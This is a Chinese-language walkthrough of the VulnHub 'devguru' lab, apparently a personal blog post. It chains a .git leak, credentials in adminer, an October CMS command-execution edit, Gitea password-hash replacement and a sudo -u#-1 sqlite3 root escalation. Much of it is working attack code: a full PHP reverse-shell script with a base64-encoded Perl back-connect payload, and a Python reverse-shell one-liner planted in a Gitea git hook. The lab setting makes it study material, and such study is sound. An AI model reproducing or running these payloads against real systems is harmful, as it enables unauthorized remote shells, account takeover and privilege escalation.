vulnhub靶场—devguru
甲、前言
靶场地址:https://www.vulnhub.com/entry/devguru-1,620/
难度:中级
devguru是我做的第二个vulnhub靶场,实在是由于个人对linux提权的了解实在匮乏。但思前想后还是点击了下载按钮,这便有了这次小白向过关教程。
乙、信息搜集
开机后上来就是一通扫,很快啊。
- namp
好家伙直接到手8585端口gitea登陆页面。
http://172.31.131.206:8585/user/login gitea登录
- dirsearch扫描目录
http://172.31.131.206/adminer.php sql登录页面
http://172.31.131.206/.git/index
http://172.31.131.206/.git/HEAD
http://172.31.131.206/.git/config
http://172.31.131.206/refs/heads/master
中间件为Octobercms,百度搜集登陆地址为
http://172.31.131.206/backend/backend/auth/signin Octobercms登录
上来就收获三个登录框。我不禁理解了皇上晚上翻拍时的无奈,这该如何选择呢。
正在这内心交战时刻,突然看到一个水灵的宫女缓缓从身边走过入了园内,探头望去园内竟然是一片旖旎之色,一览无余。原来这宫女名为’计嫒悌‘,是内宫里有名的小鸨,靠替人引路来谋生。不妨前去一探究竟。
- git-dumper
.git可以尝试git泄露,来获取文件
项目地址:
https://github.com/arthaud/git-dumper
获取到如下文件
查看配置文件找到数据库信息。
丙、获取shellx01
在这衣带渐宽之刻,哪有不入之道理?
访问http://172.31.131.206/adminer.php进行登录
尝试解密frank密码,但用john解密失败。
这里转变思路,新建用户并且分配管理员权限来登陆系统。
新建用户aaa
进去后发现权限不够,新建userid为2,group_id为1的组数据。
登录成功
我giao,竟然在这关键时刻没有小外套(shell)(手动滑稽
查找octobercms的漏洞,发现有上传点和新建webshell文件漏洞,但都修复了无法利用。
后来在外网找到相关的利用方式,编辑home文件,然后访问时get传参来执行shell。
访问主页,http://172.31.131.206/?cmd=id
直接执行bash反弹和python反弹都无用,在本地搭建web,上传构造的php文件,执行下载操作,获取webshell。
这里可以直接上传哥斯拉php,也可以上传php反弹shell文件。
这里附上mdxy-dxy的php反弹shell码
<?php function which($pr) { $path = execute("which $pr"); return ($path ? $path : $pr); } function execute($cfe) { $res = ''; if ($cfe) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ''; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function cf($fname,$text){ if($fp=@fopen($fname,'w')) { @fputs($fp,@base64_decode($text)); @fclose($fp); } } $yourip = "your IP"; $yourport = 'your port'; $usedb = array('perl'=>'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; cf('/tmp/.bc',$back_connect); $res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); ?>
Php反弹
哥斯拉
尝试提权,奈何技术太菜,没门路。
继续获取其他登录页面账户密码信息,只剩下gitea的了。
丁、获取shellx02
哼,无趣
果然么,到了这一步还是要去找“计嫒悌”领取小外套,这次怕是得脱层皮了
获取gitea数据库密码
登陆后查看表信息
密码是加密的,理论上可以在源码上找到加密方式,来编写解密代码,但本人代码能力太菜,就按最无脑的方法来做了。本地搭gitea,然后复制加密后的密码。
本地搭建gitea(参考:https://docs.gitea.io/zh-cn/database-prep/),设置账户密码。123456
sql语句如下
(`id`, `lower_name`, `name`, `full_name`, `email`, `keep_email_private`, `email_notifications_preference`, `passwd`, `passwd_hash_algo`, `must_change_password`, `login_type`, `login_source`, `login_name`, `type`, `location`, `website`, `rands`, `salt`, `language`, `description`, `created_unix`, `updated_unix`, `last_login_unix`, `last_repo_visibility`, `max_repo_creation`, `is_active`, `is_admin`, `is_restricted`, `allow_git_hook`, `allow_import_local`, `allow_create_organization`, `prohibit_login`, `avatar`, `avatar_email`, `use_custom_avatar`, `num_followers`, `num_following`, `num_stars`, `num_repos`, `num_teams`, `num_members`, `visibility`, `repo_admin_change_team_access`, `diff_view_style`, `theme`, `keep_activity_private`) VALUES (1, '123', '123', '', '123@qq.com', 0, 'enabled', '9d5bbc4a2ab4b20d893be05f9f1299444891dee8945dff50c93be9af174dae68a527d1851d136bcbcdf86fc3e0da9b9981e2', 'argon2', 0, 0, 0, '', 0, '', '', '2NazllYHad', 'H2MRF5mpEj', '', '', 1608889331, 1608889904, 0, 0, -1, 1, 1, 0, 0, 0, 1, 0, '', '123@qq.com', 0, 0, 0, 0, 0, 0, 0, 0, 0, '', 'gitea', 0);
起初只复制了passwd,结果登陆不上,搜索后发现密码生成和salt、hash_algo有关,就直接复制本地表内容覆盖原内容了。保存后成功利用修改后的密码登录gitea
开始在gitea中getshell。
编辑git hook,添加以下命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
至于这里为什么是python3,因为在webshell中查到安装的是python3
这里通过python反弹shell
提交项目更改信息,反弹frank用户shell
戊、提权
经过辛劳奋战,终于从“计嫒悌”手中夺得了小外套。
下一步准备发射shell.
内核漏洞提权,查无此漏洞
SUID 提权,没有给出建议
查看sudo权限下用户
在https://gtfobins.github.io/上查询linux下关于sqlite3的提权漏洞
用户使用sudo时会要求输入密码,这个无解。灵机一动,查看sudo版本,搜索
啊,灵感来了,走你
Sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
酥服了!!
己、总结:
1.就这个靶场而言,每个小关卡都很有意思(可能只有我这种菜鸡才觉得有意思)。权限提升不一定要一步到位,也可能需要你慢慢琢磨,从一个平台跳到另一个平台,逐步提权.
2.代码审计很重要,如果能从git项目中找到加密代码来进行解密,就不需要去花费时间搭啥gitea。
3.“面向搜索引擎”渗透虽然很可笑,但是小白成长到大佬的必备过程,多从外网找找答案。